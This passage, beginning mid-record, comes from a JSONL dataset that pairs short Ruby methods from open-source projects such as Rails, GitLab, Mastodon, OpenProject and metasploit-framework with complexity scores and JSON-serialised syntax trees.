end","complexity_score":9.4,"ast_json":"{\"type\":\"def\",\"children\":[\"test_javascript_is_skipped_if_required\",{\"type\":\"args\",\"children\":[]},{\"type\":\"begin\",\"children\":[{\"type\":\"send\",\"children\":[null,\"run_generator\",{\"type\":\"array\",\"children\":[{\"type\":\"send\",\"children\":[null,\"destination_root\"]},{\"type\":\"str\",\"children\":[\"--skip-javascript\"]}]}]},{\"type\":\"send\",\"children\":[null,\"assert_no_file\",{\"type\":\"str\",\"children\":[\"app/javascript\"]}]},{\"type\":\"block\",\"children\":[{\"type\":\"send\",\"children\":[null,\"assert_file\",{\"type\":\"str\",\"children\":[\"app/views/layouts/application.html.erb\"]}]},{\"type\":\"args\",\"children\":[{\"type\":\"arg\",\"children\":[\"contents\"]}]},{\"type\":\"send\",\"children\":[null,\"assert_match\",{\"type\":\"regexp\",\"children\":[{\"type\":\"str\",\"children\":[\"stylesheet_link_tag\\\\s+:app %>\"]},{\"type\":\"regopt\",\"children\":[]}]},{\"type\":\"lvar\",\"children\":[\"contents\"]}]}]},{\"type\":\"block\",\"children\":[{\"type\":\"send\",\"children\":[null,\"assert_file\",{\"type\":\"str\",\"children\":[\".github/workflows/ci.yml\"]}]},{\"type\":\"args\",\"children\":[{\"type\":\"arg\",\"children\":[\"file\"]}]},{\"type\":\"send\",\"children\":[null,\"assert_no_match\",{\"type\":\"str\",\"children\":[\"scan_js\"]},{\"type\":\"lvar\",\"children\":[\"file\"]}]}]}]}]}","id":"597b319a-da2c-4418-bc2c-363f79008ccf"}
{"repo_name":"gitlabhq","file_path":"./repos/gitlabhq/db/migrate/20240920175849_add_description_to_environments.rb","start_line":18,"raw_source":"def down\n    with_lock_retries do\n      remove_column :environments, :description, if_exists: true\n      remove_column :environments, :description_html, if_exists: true\n      remove_column :environments, :cached_markdown_version, if_exists: true\n    end\n  end","complexity_score":5.6,"ast_json":"{\"type\":\"def\",\"children\":[\"down\",{\"type\":\"args\",\"children\":[]},{\"type\":\"block\",\"children\":[{\"type\":\"send\",\"children\":[null,\"with_lock_retries\"]},{\"type\":\"args\",\"children\":[]},{\"type\":\"begin\",\"children\":[{\"type\":\"send\",\"children\":[null,\"remove_column\",{\"type\":\"sym\",\"children\":[\"environments\"]},{\"type\":\"sym\",\"children\":[\"description\"]},{\"type\":\"hash\",\"children\":[{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"if_exists\"]},{\"type\":\"true\",\"children\":[]}]}]}]},{\"type\":\"send\",\"children\":[null,\"remove_column\",{\"type\":\"sym\",\"children\":[\"environments\"]},{\"type\":\"sym\",\"children\":[\"description_html\"]},{\"type\":\"hash\",\"children\":[{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"if_exists\"]},{\"type\":\"true\",\"children\":[]}]}]}]},{\"type\":\"send\",\"children\":[null,\"remove_column\",{\"type\":\"sym\",\"children\":[\"environments\"]},{\"type\":\"sym\",\"children\":[\"cached_markdown_version\"]},{\"type\":\"hash\",\"children\":[{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"if_exists\"]},{\"type\":\"true\",\"children\":[]}]}]}]}]}]}]}","id":"62eb1a82-1966-4eed-b162-5c0cde666a56"}
{"repo_name":"mastodon","file_path":"./repos/mastodon/app/controllers/api/v1/admin/domain_blocks_controller.rb","start_line":86,"raw_source":"def records_continue?\n    @domain_blocks.size == limit_param(LIMIT, MAX_LIMIT)\n  end","complexity_score":3.4,"ast_json":"{\"type\":\"def\",\"children\":[\"records_continue?\",{\"type\":\"args\",\"children\":[]},{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"ivar\",\"children\":[\"@domain_blocks\"]},\"size\"]},\"==\",{\"type\":\"send\",\"children\":[null,\"limit_param\",{\"type\":\"const\",\"children\":[null,\"LIMIT\"]},{\"type\":\"const\",\"children\":[null,\"MAX_LIMIT\"]}]}]}]}","id":"ab7c2f0c-ef8a-44b7-bbf5-49603d485b90"}
{"repo_name":"rails","file_path":"./repos/rails/actionview/lib/action_view/template.rb","start_line":251,"raw_source":"def translate_location(backtrace_location, spot)\n      if handler.respond_to?(:translate_location)\n        handler.translate_location(spot, backtrace_location, encode!) || spot\n      else\n        spot\n      end\n    end","complexity_score":8.3,"ast_json":"{\"type\":\"def\",\"children\":[\"translate_location\",{\"type\":\"args\",\"children\":[{\"type\":\"arg\",\"children\":[\"backtrace_location\"]},{\"type\":\"arg\",\"children\":[\"spot\"]}]},{\"type\":\"if\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[null,\"handler\"]},\"respond_to?\",{\"type\":\"sym\",\"children\":[\"translate_location\"]}]},{\"type\":\"or\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[null,\"handler\"]},\"translate_location\",{\"type\":\"lvar\",\"children\":[\"spot\"]},{\"type\":\"lvar\",\"children\":[\"backtrace_location\"]},{\"type\":\"send\",\"children\":[null,\"encode!\"]}]},{\"type\":\"lvar\",\"children\":[\"spot\"]}]},{\"type\":\"lvar\",\"children\":[\"spot\"]}]}]}","id":"bcf039c9-43ea-4cf2-838c-ed10cf697a63"}
{"repo_name":"mastodon","file_path":"./repos/mastodon/app/services/remove_status_service.rb","start_line":105,"raw_source":"def signed_activity_json\n    @signed_activity_json ||= Oj.dump(serialize_payload(@status, @status.reblog? ? ActivityPub::UndoAnnounceSerializer : ActivityPub::DeleteSerializer, signer: @account, always_sign: true))\n  end","complexity_score":6.0,"ast_json":"{\"type\":\"def\",\"children\":[\"signed_activity_json\",{\"type\":\"args\",\"children\":[]},{\"type\":\"or_asgn\",\"children\":[{\"type\":\"ivasgn\",\"children\":[\"@signed_activity_json\"]},{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[null,\"Oj\"]},\"dump\",{\"type\":\"send\",\"children\":[null,\"serialize_payload\",{\"type\":\"ivar\",\"children\":[\"@status\"]},{\"type\":\"if\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"ivar\",\"children\":[\"@status\"]},\"reblog?\"]},{\"type\":\"const\",\"children\":[{\"type\":\"const\",\"children\":[null,\"ActivityPub\"]},\"UndoAnnounceSerializer\"]},{\"type\":\"const\",\"children\":[{\"type\":\"const\",\"children\":[null,\"ActivityPub\"]},\"DeleteSerializer\"]}]},{\"type\":\"hash\",\"children\":[{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"signer\"]},{\"type\":\"ivar\",\"children\":[\"@account\"]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"always_sign\"]},{\"type\":\"true\",\"children\":[]}]}]}]}]}]}]}","id":"15ba468c-1ca7-4e2c-9459-d4712fa3e0b6"}
{"repo_name":"openproject","file_path":"./repos/openproject/modules/gitlab_integration/app/models/gitlab_merge_request.rb","start_line":94,"raw_source":"def with_logging\n    yield if block_given?\n  rescue StandardError => e\n    Rails.logger.error \"Error at latest_pipeline: #{e} #{e.message}\"\n    raise e\n  end","complexity_score":10.3,"ast_json":"{\"type\":\"def\",\"children\":[\"with_logging\",{\"type\":\"args\",\"children\":[]},{\"type\":\"rescue\",\"children\":[{\"type\":\"if\",\"children\":[{\"type\":\"send\",\"children\":[null,\"block_given?\"]},{\"type\":\"yield\",\"children\":[]},null]},{\"type\":\"resbody\",\"children\":[{\"type\":\"array\",\"children\":[{\"type\":\"const\",\"children\":[null,\"StandardError\"]}]},{\"type\":\"lvasgn\",\"children\":[\"e\"]},{\"type\":\"begin\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[null,\"Rails\"]},\"logger\"]},\"error\",{\"type\":\"dstr\",\"children\":[{\"type\":\"str\",\"children\":[\"Error at latest_pipeline: \"]},{\"type\":\"begin\",\"children\":[{\"type\":\"lvar\",\"children\":[\"e\"]}]},{\"type\":\"str\",\"children\":[\" \"]},{\"type\":\"begin\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"e\"]},\"message\"]}]}]}]},{\"type\":\"send\",\"children\":[null,\"raise\",{\"type\":\"lvar\",\"children\":[\"e\"]}]}]}]},null]}]}","id":"4e142cd5-8965-4a48-adbc-ed1ce1207034"}
{"repo_name":"gitlabhq","file_path":"./repos/gitlabhq/app/models/project_authorizations/changes.rb","start_line":68,"raw_source":"def delete_authorizations_for_user\n      delete_all_in_batches(resource: user,\n        ids_to_remove: project_ids,\n        column_name_of_ids_to_remove: :project_id)\n      @affected_project_ids += project_ids\n      @removed_user_ids.add(user.id)\n    end","complexity_score":10.2,"ast_json":"{\"type\":\"def\",\"children\":[\"delete_authorizations_for_user\",{\"type\":\"args\",\"children\":[]},{\"type\":\"begin\",\"children\":[{\"type\":\"send\",\"children\":[null,\"delete_all_in_batches\",{\"type\":\"hash\",\"children\":[{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"resource\"]},{\"type\":\"send\",\"children\":[null,\"user\"]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"ids_to_remove\"]},{\"type\":\"send\",\"children\":[null,\"project_ids\"]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"column_name_of_ids_to_remove\"]},{\"type\":\"sym\",\"children\":[\"project_id\"]}]}]}]},{\"type\":\"op_asgn\",\"children\":[{\"type\":\"ivasgn\",\"children\":[\"@affected_project_ids\"]},\"+\",{\"type\":\"send\",\"children\":[null,\"project_ids\"]}]},{\"type\":\"send\",\"children\":[{\"type\":\"ivar\",\"children\":[\"@removed_user_ids\"]},\"add\",{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[null,\"user\"]},\"id\"]}]}]}]}","id":"a8a8c2e4-dc1e-4642-898b-eb6eed391b7d"}
{"repo_name":"metasploit-framework","file_path":"./repos/metasploit-framework/lib/rex/proto/ms_nrtp/client.rb","start_line":110,"raw_source":"def send_recv(data, content_type)\n    send(data, content_type)\n    recv\n  end","complexity_score":4.0,"ast_json":"{\"type\":\"def\",\"children\":[\"send_recv\",{\"type\":\"args\",\"children\":[{\"type\":\"arg\",\"children\":[\"data\"]},{\"type\":\"arg\",\"children\":[\"content_type\"]}]},{\"type\":\"begin\",\"children\":[{\"type\":\"send\",\"children\":[null,\"send\",{\"type\":\"lvar\",\"children\":[\"data\"]},{\"type\":\"lvar\",\"children\":[\"content_type\"]}]},{\"type\":\"send\",\"children\":[null,\"recv\"]}]}]}","id":"a9004e35-99b0-474d-a3af-82df82cfed21"}
{"repo_name":"metasploit-framework","file_path":"./repos/metasploit-framework/modules/auxiliary/scanner/http/epmp1000_web_login.rb","start_line":43,"raw_source":"def run_host(ip)\n    unless is_app_epmp1000?\n      return\n    end\n  end","complexity_score":2.0,"ast_json":"{\"type\":\"def\",\"children\":[\"run_host\",{\"type\":\"args\",\"children\":[{\"type\":\"arg\",\"children\":[\"ip\"]}]},{\"type\":\"if\",\"children\":[{\"type\":\"send\",\"children\":[null,\"is_app_epmp1000?\"]},null,{\"type\":\"return\",\"children\":[]}]}]}","id":"2a9014e4-33b4-4f6f-9cdf-d5199e79379e"}
{"repo_name":"sinatra","file_path":"./repos/sinatra/lib/sinatra/indifferent_hash.rb","start_line":64,"raw_source":"def fetch(key, *args)\n      args.map!(&method(:convert_value))\n\n      super(convert_key(key), *args)\n    end","complexity_score":5.4,"ast_json":"{\"type\":\"def\",\"children\":[\"fetch\",{\"type\":\"args\",\"children\":[{\"type\":\"arg\",\"children\":[\"key\"]},{\"type\":\"restarg\",\"children\":[\"args\"]}]},{\"type\":\"begin\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"args\"]},\"map!\",{\"type\":\"block_pass\",\"children\":[{\"type\":\"send\",\"children\":[null,\"method\",{\"type\":\"sym\",\"children\":[\"convert_value\"]}]}]}]},{\"type\":\"super\",\"children\":[{\"type\":\"send\",\"children\":[null,\"convert_key\",{\"type\":\"lvar\",\"children\":[\"key\"]}]},{\"type\":\"splat\",\"children\":[{\"type\":\"lvar\",\"children\":[\"args\"]}]}]}]}]}","id":"ed96c510-da92-4bfc-a65a-11efa7a08b1d"}
{"repo_name":"openproject","file_path":"./repos/openproject/modules/storages/app/components/storages/admin/forms/oauth_client_form_component.rb","start_line":48,"raw_source":"def storage_provider_credentials_instructions\n      I18n.t(\"storages.instructions.#{storage}.oauth_configuration\",\n             application_link_text: send(:\"#{storage}_integration_link\")).html_safe\n    end","complexity_score":9.4,"ast_json":"{\"type\":\"def\",\"children\":[\"storage_provider_credentials_instructions\",{\"type\":\"args\",\"children\":[]},{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[null,\"I18n\"]},\"t\",{\"type\":\"dstr\",\"children\":[{\"type\":\"str\",\"children\":[\"storages.instructions.\"]},{\"type\":\"begin\",\"children\":[{\"type\":\"send\",\"children\":[null,\"storage\"]}]},{\"type\":\"str\",\"children\":[\".oauth_configuration\"]}]},{\"type\":\"hash\",\"children\":[{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"application_link_text\"]},{\"type\":\"send\",\"children\":[null,\"send\",{\"type\":\"dsym\",\"children\":[{\"type\":\"begin\",\"children\":[{\"type\":\"send\",\"children\":[null,\"storage\"]}]},{\"type\":\"str\",\"children\":[\"_integration_link\"]}]}]}]}]}]},\"html_safe\"]}]}","id":"77b362c7-ace2-4ee9-b3c3-d81184a6a1ff"}
{"repo_name":"brakeman","file_path":"./repos/brakeman/lib/brakeman/report/report_table.rb","start_line":9,"raw_source":"def generate_report\n    summary_option = tracker.options[:summary_only]\n    out = +\"\"\n\n    unless summary_option == :no_summary\n      out << text_header <<\n        \"\\n\\n+SUMMARY+\\n\\n\" <<\n        truncate_table(generate_overview.to_s) << \"\\n\\n\" <<\n        truncate_table(generate_warning_overview.to_s) << \"\\n\"\n    end\n\n    #Return output early if only summarizing\n    if summary_option == :summary_only or summary_option == true\n      return out\n    end\n\n    if tracker.options[:report_routes] or tracker.options[:debug]\n      out << \"\\n+CONTROLLERS+\\n\" <<\n      truncate_table(generate_controllers.to_s) << \"\\n\"\n    end\n\n    if tracker.options[:debug]\n      out << \"\\n+TEMPLATES+\\n\\n\" <<\n      truncate_table(generate_templates.to_s) << \"\\n\"\n    end\n\n    output_table(\"+Obsolete Ignore Entries+\", generate_obsolete, out)\n    output_table(\"+Errors+\", generate_errors, out)\n    output_table(\"+SECURITY WARNINGS+\", generate_warnings, out)\n    output_table(\"Controller Warnings:\", generate_controller_warnings, out)\n    output_table(\"Model Warnings:\", generate_model_warnings, out)\n    output_table(\"View Warnings:\", generate_template_warnings, out)\n\n    out << \"\\n\"\n    out\n  end","complexity_score":82.7,"ast_json":"{\"type\":\"def\",\"children\":[\"generate_report\",{\"type\":\"args\",\"children\":[]},{\"type\":\"begin\",\"children\":[{\"type\":\"lvasgn\",\"children\":[\"summary_option\",{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[null,\"tracker\"]},\"options\"]},\"[]\",{\"type\":\"sym\",\"children\":[\"summary_only\"]}]}]},{\"type\":\"lvasgn\",\"children\":[\"out\",{\"type\":\"send\",\"children\":[{\"type\":\"str\",\"children\":[\"\"]},\"+@\"]}]},{\"type\":\"if\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"summary_option\"]},\"==\",{\"type\":\"sym\",\"children\":[\"no_summary\"]}]},null,{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"out\"]},\"<<\",{\"type\":\"send\",\"children\":[null,\"text_header\"]}]},\"<<\",{\"type\":\"str\",\"children\":[\"\\n\\n+SUMMARY+\\n\\n\"]}]},\"<<\",{\"type\":\"send\",\"children\":[null,\"truncate_table\",{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[null,\"generate_overview\"]},\"to_s\"]}]}]},\"<<\",{\"type\":\"str\",\"children\":[\"\\n\\n\"]}]},\"<<\",{\"type\":\"send\",\"children\":[null,\"truncate_table\",{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[null,\"generate_warning_overview\"]},\"to_s\"]}]}]},\"<<\",{\"type\":\"str\",\"children\":[\"\\n\"]}]}]},{\"type\":\"if\",\"children\":[{\"type\":\"or\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"summary_option\"]},\"==\",{\"type\":\"sym\",\"children\":[\"summary_only\"]}]},{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"summary_option\"]},\"==\",{\"type\":\"true\",\"children\":[]}]}]},{\"type\":\"return\",\"children\":[{\"type\":\"lvar\",\"children\":[\"out\"]}]},null]},{\"type\":\"if\",\"children\":[{\"type\":\"or\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[null,\"tracker\"]},\"options\"]},\"[]\",{\"type\":\"sym\",\"children\":[\"report_routes\"]}]},{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[null,\"tracker\"]},\"options\"]},\"[]\",{\"type\":\"sym\",\"children\":[\"debug\"]}]}]},{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"out\"]},\"<<\",{\"type\":\"str\",\"children\":[\"\\n+CONTROLLERS+\\n\"]}]},\"<<\",{\"type\":\"send\",\"children\":[null,\"truncate_table\",{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[null,\"generate_controllers\"]},\"to_s\"]}]}]},\"<<\",{\"type\":\"str\",\"children\":[\"\\n\"]}]},null]},{\"type\":\"if\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[null,\"tracker\"]},\"options\"]},\"[]\",{\"type\":\"sym\",\"children\":[\"debug\"]}]},{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"out\"]},\"<<\",{\"type\":\"str\",\"children\":[\"\\n+TEMPLATES+\\n\\n\"]}]},\"<<\",{\"type\":\"send\",\"children\":[null,\"truncate_table\",{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[null,\"generate_templates\"]},\"to_s\"]}]}]},\"<<\",{\"type\":\"str\",\"children\":[\"\\n\"]}]},null]},{\"type\":\"send\",\"children\":[null,\"output_table\",{\"type\":\"str\",\"children\":[\"+Obsolete Ignore Entries+\"]},{\"type\":\"send\",\"children\":[null,\"generate_obsolete\"]},{\"type\":\"lvar\",\"children\":[\"out\"]}]},{\"type\":\"send\",\"children\":[null,\"output_table\",{\"type\":\"str\",\"children\":[\"+Errors+\"]},{\"type\":\"send\",\"children\":[null,\"generate_errors\"]},{\"type\":\"lvar\",\"children\":[\"out\"]}]},{\"type\":\"send\",\"children\":[null,\"output_table\",{\"type\":\"str\",\"children\":[\"+SECURITY WARNINGS+\"]},{\"type\":\"send\",\"children\":[null,\"generate_warnings\"]},{\"type\":\"lvar\",\"children\":[\"out\"]}]},{\"type\":\"send\",\"children\":[null,\"output_table\",{\"type\":\"str\",\"children\":[\"Controller Warnings:\"]},{\"type\":\"send\",\"children\":[null,\"generate_controller_warnings\"]},{\"type\":\"lvar\",\"children\":[\"out\"]}]},{\"type\":\"send\",\"children\":[null,\"output_table\",{\"type\":\"str\",\"children\":[\"Model Warnings:\"]},{\"type\":\"send\",\"children\":[null,\"generate_model_warnings\"]},{\"type\":\"lvar\",\"children\":[\"out\"]}]},{\"type\":\"send\",\"children\":[null,\"output_table\",{\"type\":\"str\",\"children\":[\"View Warnings:\"]},{\"type\":\"send\",\"children\":[null,\"generate_template_warnings\"]},{\"type\":\"lvar\",\"children\":[\"out\"]}]},{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"out\"]},\"<<\",{\"type\":\"str\",\"children\":[\"\\n\"]}]},{\"type\":\"lvar\",\"children\":[\"out\"]}]}]}","id":"23aa4325-fd60-4c54-a3da-10df16c7ad8f"}
{"repo_name":"gitlabhq","file_path":"./repos/gitlabhq/app/services/users/update_service.rb","start_line":126,"raw_source":"def notify_success(user_exists)\n      notify_new_user(@user, nil) unless user_exists\n    end","complexity_score":2.1,"ast_json":"{\"type\":\"def\",\"children\":[\"notify_success\",{\"type\":\"args\",\"children\":[{\"type\":\"arg\",\"children\":[\"user_exists\"]}]},{\"type\":\"if\",\"children\":[{\"type\":\"lvar\",\"children\":[\"user_exists\"]},null,{\"type\":\"send\",\"children\":[null,\"notify_new_user\",{\"type\":\"ivar\",\"children\":[\"@user\"]},{\"type\":\"nil\",\"children\":[]}]}]}]}","id":"8e486619-1f25-4f73-b718-da838f9be9ff"}
{"repo_name":"chatwoot","file_path":"./repos/chatwoot/app/helpers/filters/filter_helper.rb","start_line":76,"raw_source":"def text_case_insensitive_filter(query_hash, filter_operator_value)\n    \"LOWER(#{filter_config[:table_name]}.#{query_hash[:attribute_key]}) \" \\\n      \"#{filter_operator_value} #{query_hash[:query_operator]}\"\n  end","complexity_score":4.2,"ast_json":"{\"type\":\"def\",\"children\":[\"text_case_insensitive_filter\",{\"type\":\"args\",\"children\":[{\"type\":\"arg\",\"children\":[\"query_hash\"]},{\"type\":\"arg\",\"children\":[\"filter_operator_value\"]}]},{\"type\":\"dstr\",\"children\":[{\"type\":\"dstr\",\"children\":[{\"type\":\"str\",\"children\":[\"LOWER(\"]},{\"type\":\"begin\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[null,\"filter_config\"]},\"[]\",{\"type\":\"sym\",\"children\":[\"table_name\"]}]}]},{\"type\":\"str\",\"children\":[\".\"]},{\"type\":\"begin\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"query_hash\"]},\"[]\",{\"type\":\"sym\",\"children\":[\"attribute_key\"]}]}]},{\"type\":\"str\",\"children\":[\") \"]}]},{\"type\":\"dstr\",\"children\":[{\"type\":\"begin\",\"children\":[{\"type\":\"lvar\",\"children\":[\"filter_operator_value\"]}]},{\"type\":\"str\",\"children\":[\" \"]},{\"type\":\"begin\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"query_hash\"]},\"[]\",{\"type\":\"sym\",\"children\":[\"query_operator\"]}]}]}]}]}]}","id":"b924a6bb-2a55-45ca-afe4-610941b8f8e4"}
{"repo_name":"rails","file_path":"./repos/rails/railties/lib/rails/configuration.rb","start_line":66,"raw_source":"def use(...)\n        @operations << -> middleware { middleware.use(...) }\n      end","complexity_score":3.5,"ast_json":"{\"type\":\"def\",\"children\":[\"use\",{\"type\":\"forward_args\",\"children\":[]},{\"type\":\"send\",\"children\":[{\"type\":\"ivar\",\"children\":[\"@operations\"]},\"<<\",{\"type\":\"block\",\"children\":[{\"type\":\"send\",\"children\":[null,\"lambda\"]},{\"type\":\"args\",\"children\":[{\"type\":\"arg\",\"children\":[\"middleware\"]}]},{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"middleware\"]},\"use\",{\"type\":\"forwarded_args\",\"children\":[]}]}]}]}]}","id":"cb6a3bc6-4049-4456-93a1-420cb54a7270"}
{"repo_name":"gitlabhq","file_path":"./repos/gitlabhq/app/services/merge_requests/mergeability/check_ci_status_service.rb","start_line":58,"raw_source":"def head_pipeline\n        merge_request.diff_head_pipeline\n      end","complexity_score":2.2,"ast_json":"{\"type\":\"def\",\"children\":[\"head_pipeline\",{\"type\":\"args\",\"children\":[]},{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[null,\"merge_request\"]},\"diff_head_pipeline\"]}]}","id":"760329da-3312-4e95-b286-1dd727852b3d"}
{"repo_name":"haml","file_path":"./repos/haml/test/haml/haml-spec/ugly_test.rb","start_line":700,"raw_source":"def test_a_multiply_nested_silent_comment_with_inconsistent_indents\n      haml    = %q{-#\n  %div\n      foo}\n      html    = %q{}\n      locals  = {}\n      options = {}\n      haml_result = UglyTest.haml_result(haml, options, locals)\n      assert_equal html, haml_result\n    end","complexity_score":7.0,"ast_json":"{\"type\":\"def\",\"children\":[\"test_a_multiply_nested_silent_comment_with_inconsistent_indents\",{\"type\":\"args\",\"children\":[]},{\"type\":\"begin\",\"children\":[{\"type\":\"lvasgn\",\"children\":[\"haml\",{\"type\":\"dstr\",\"children\":[{\"type\":\"str\",\"children\":[\"-#\\n\"]},{\"type\":\"str\",\"children\":[\"  %div\\n\"]},{\"type\":\"str\",\"children\":[\"      foo\"]}]}]},{\"type\":\"lvasgn\",\"children\":[\"html\",{\"type\":\"dstr\",\"children\":[]}]},{\"type\":\"lvasgn\",\"children\":[\"locals\",{\"type\":\"hash\",\"children\":[]}]},{\"type\":\"lvasgn\",\"children\":[\"options\",{\"type\":\"hash\",\"children\":[]}]},{\"type\":\"lvasgn\",\"children\":[\"haml_result\",{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[null,\"UglyTest\"]},\"haml_result\",{\"type\":\"lvar\",\"children\":[\"haml\"]},{\"type\":\"lvar\",\"children\":[\"options\"]},{\"type\":\"lvar\",\"children\":[\"locals\"]}]}]},{\"type\":\"send\",\"children\":[null,\"assert_equal\",{\"type\":\"lvar\",\"children\":[\"html\"]},{\"type\":\"lvar\",\"children\":[\"haml_result\"]}]}]}]}","id":"1aa38ea8-c16f-4c5c-ae30-16f33f8d0e94"}
{"repo_name":"openproject","file_path":"./repos/openproject/app/workers/apply_working_days_change_job_base.rb","start_line":76,"raw_source":"def changes_between(list_a, list_b)\n    deleted = (list_a - list_b).index_with(false)\n    added = (list_b - list_a).index_with(true)\n\n    deleted.merge(added)\n  end","complexity_score":7.4,"ast_json":"{\"type\":\"def\",\"children\":[\"changes_between\",{\"type\":\"args\",\"children\":[{\"type\":\"arg\",\"children\":[\"list_a\"]},{\"type\":\"arg\",\"children\":[\"list_b\"]}]},{\"type\":\"begin\",\"children\":[{\"type\":\"lvasgn\",\"children\":[\"deleted\",{\"type\":\"send\",\"children\":[{\"type\":\"begin\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"list_a\"]},\"-\",{\"type\":\"lvar\",\"children\":[\"list_b\"]}]}]},\"index_with\",{\"type\":\"false\",\"children\":[]}]}]},{\"type\":\"lvasgn\",\"children\":[\"added\",{\"type\":\"send\",\"children\":[{\"type\":\"begin\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"list_b\"]},\"-\",{\"type\":\"lvar\",\"children\":[\"list_a\"]}]}]},\"index_with\",{\"type\":\"true\",\"children\":[]}]}]},{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"deleted\"]},\"merge\",{\"type\":\"lvar\",\"children\":[\"added\"]}]}]}]}","id":"aea7f321-81ea-4679-a970-e3fb9daf9538"}
{"repo_name":"gitlabhq","file_path":"./repos/gitlabhq/lib/gitlab/github_import/clients/proxy.rb","start_line":39,"raw_source":"def fetch_and_cache_repos_count_via_graphql(relation_type, key)\n          response = client.count_repos_by_relation_type_graphql(relation_type: relation_type)\n          count = response.dig(:data, :search, :repositoryCount)\n\n          ::Gitlab::Cache::Import::Caching.write(key, count, timeout: 5.minutes)\n        end","complexity_score":7.75,"ast_json":"{\"type\":\"def\",\"children\":[\"fetch_and_cache_repos_count_via_graphql\",{\"type\":\"args\",\"children\":[{\"type\":\"arg\",\"children\":[\"relation_type\"]},{\"type\":\"arg\",\"children\":[\"key\"]}]},{\"type\":\"begin\",\"children\":[{\"type\":\"lvasgn\",\"children\":[\"response\",{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[null,\"client\"]},\"count_repos_by_relation_type_graphql\",{\"type\":\"hash\",\"children\":[{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"relation_type\"]},{\"type\":\"lvar\",\"children\":[\"relation_type\"]}]}]}]}]},{\"type\":\"lvasgn\",\"children\":[\"count\",{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"response\"]},\"dig\",{\"type\":\"sym\",\"children\":[\"data\"]},{\"type\":\"sym\",\"children\":[\"search\"]},{\"type\":\"sym\",\"children\":[\"repositoryCount\"]}]}]},{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[{\"type\":\"const\",\"children\":[{\"type\":\"const\",\"children\":[{\"type\":\"const\",\"children\":[{\"type\":\"cbase\",\"children\":[]},\"Gitlab\"]},\"Cache\"]},\"Import\"]},\"Caching\"]},\"write\",{\"type\":\"lvar\",\"children\":[\"key\"]},{\"type\":\"lvar\",\"children\":[\"count\"]},{\"type\":\"hash\",\"children\":[{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"timeout\"]},{\"type\":\"send\",\"children\":[{\"type\":\"int\",\"children\":[5]},\"minutes\"]}]}]}]}]}]}","id":"45f92455-1035-4d32-b5cc-1428231c3d22"}
